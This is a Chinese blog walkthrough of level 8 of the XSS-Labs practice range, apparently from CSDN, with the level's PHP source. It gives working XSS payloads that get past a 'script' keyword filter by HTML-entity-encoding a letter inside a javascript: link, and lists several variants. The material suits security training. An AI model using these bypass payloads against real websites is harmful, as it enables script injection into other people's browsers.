XSS LABS - Level 8 过关思路

关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

进入关卡,老流程,查看页面源代码,搜索关键词 nice try!,查看页面回显点:

回显点直接放 href 里了?这不是瞌睡来了送枕头嘛,直接使用 Payload:

 javascript:alert(1)

大意了,目标过滤了script

我们整个 Payload 大杂烩,看看目标都过滤了哪些内容:

 javaScRipt:alert(1)" Onmouseover="alert(1)" Oonnmouseover="alert(2)"><scRiPt>alert(3)</scRiPt><a hRef="jaVascRiPt:alert(1)">

可以看到,过滤的内容还是蛮多的,但是,两处回显点过滤使用的似乎不是同一套方案,老样子,摸一下两处回显点的过滤内容:

PayloadEcho Print 1Echo Print 2
<&lt;<
>&gt;>
'''
"&quot;&quot
Onono_n
sCRiptscriptscr_ipt

这里我得承认,我尝试了很多办法,都没有成功绕过(onscript一过滤,再加上无法通过引号逃逸出标签,我想了很久也不知道如何触发 XSS 漏洞),下面是我开外挂的过程。

页面上有一个输入框,可以将我们输入的内容,直接插入到友情链接的 href 字段中,href 中是可以识别字符编码的,且不会破坏原本含义。

拓展:字符编码
十进制、十六进制 ASCII 码或 Unicode 字符编码,样式为 "&#数值;",例如 "<" 可以编码为 "&#60;" 和 "&#x3c;"

在我们一开始的测试中,发现 javascript 中的 script 会被过滤掉,此时我们就可以利用上面的字符编码,来完成绕过(前提:回显点,在 href 内)。

去下面这个网站,搜索 s 的 Unicode 编码:

Unicode 符号表 - 所有 Unicode 字符及其代码都在一页上 (◕‿◕) SYMBLUnicode (萬國碼、國際碼、統一碼) 字符搜索Web服务。 查找并复制您最喜欢的角色:😎表情符号,▶Ar箭头,✪星星,💲货币,🈂️书写系统等🚩icon-default.png?t=N7T8https://symbl.cc/cn/unicode-table/

可以看到,小写字母 s 的编号是 0073,又因为其是十六进制,所以我们之前的 Payload 可以换成如下格式(将 s 替换为 &#x0073;):

 java&#x0073;cript:alert(1)

此时再点击 “友情链接”,即可触发 XSS 攻击:

下面的这些 Payload 和上面的都是等价的,算是拓宽一下眼界(也没啥用,了解这个思路就好):

 XSS Payload 01: java&#x0073;cript:alert(1)
 XSS Payload 02: java&#X0073;cript:alert(1)
 XSS Payload 03: java&#x73;cript:alert(1)
 XSS Payload 04: java&#X73;cript:alert(1)
 XSS Payload 05: java&#x0000073;cript:alert(1)
 XSS Payload 05: java&#115;cript:alert(1)

0x02:源码分析

下面是 XSS LABS Level 8 的源码,以及我对其的部分笔记:

 <!DOCTYPE html><!--STATUS OK-->
 <html>
 ​
 <head>
     <meta http-equiv="content-type" content="text/html;charset=utf-8">
     <script>
         // 修改 alert 默认行为,跳转到下一关
         window.alert = function() {
             confirm("完成的不错!");
             window.location.href = "level9.php?keyword=not bad!";
         }
     </script>
     <title>欢迎来到level8</title>
 </head>
 ​
 <body>
     <h1 align=center>欢迎来到level8</h1>
     <?php
     ini_set("display_errors", 0);
     $str = strtolower($_GET["keyword"]);    // 将 Keyword 传递过来的内容全部转换为小写
     $str2 = str_replace("script", "scr_ipt", $str);     // 过滤 script 标签
     $str3 = str_replace("on", "o_n", $str2);            // 过滤 on 标签
     $str4 = str_replace("src", "sr_c", $str3);          // 过滤 src 标签
     $str5 = str_replace("data", "da_ta", $str4);        // 过滤 data 标签
     $str6 = str_replace("href", "hr_ef", $str5);        // 过滤 href 标签
     $str7 = str_replace('"', '&quot', $str6);           // 双引号也给过滤了
     echo '<center>
 <form action=level8.php method=GET>
 <input name=keyword  value="' . htmlspecialchars($str) . '">
 <input type=submit name=submit value=添加友情链接 />
 </form>
 </center>';
     ?>
     <?php
     echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
     ?>
     <center><img src=level8.jpg></center>
     <?php
     echo "<h3 align=center>payload的长度:" . strlen($str7) . "</h3>";
     ?>
 </body>
 ​
 </html>

  • 17
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SRC_BLUE_17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值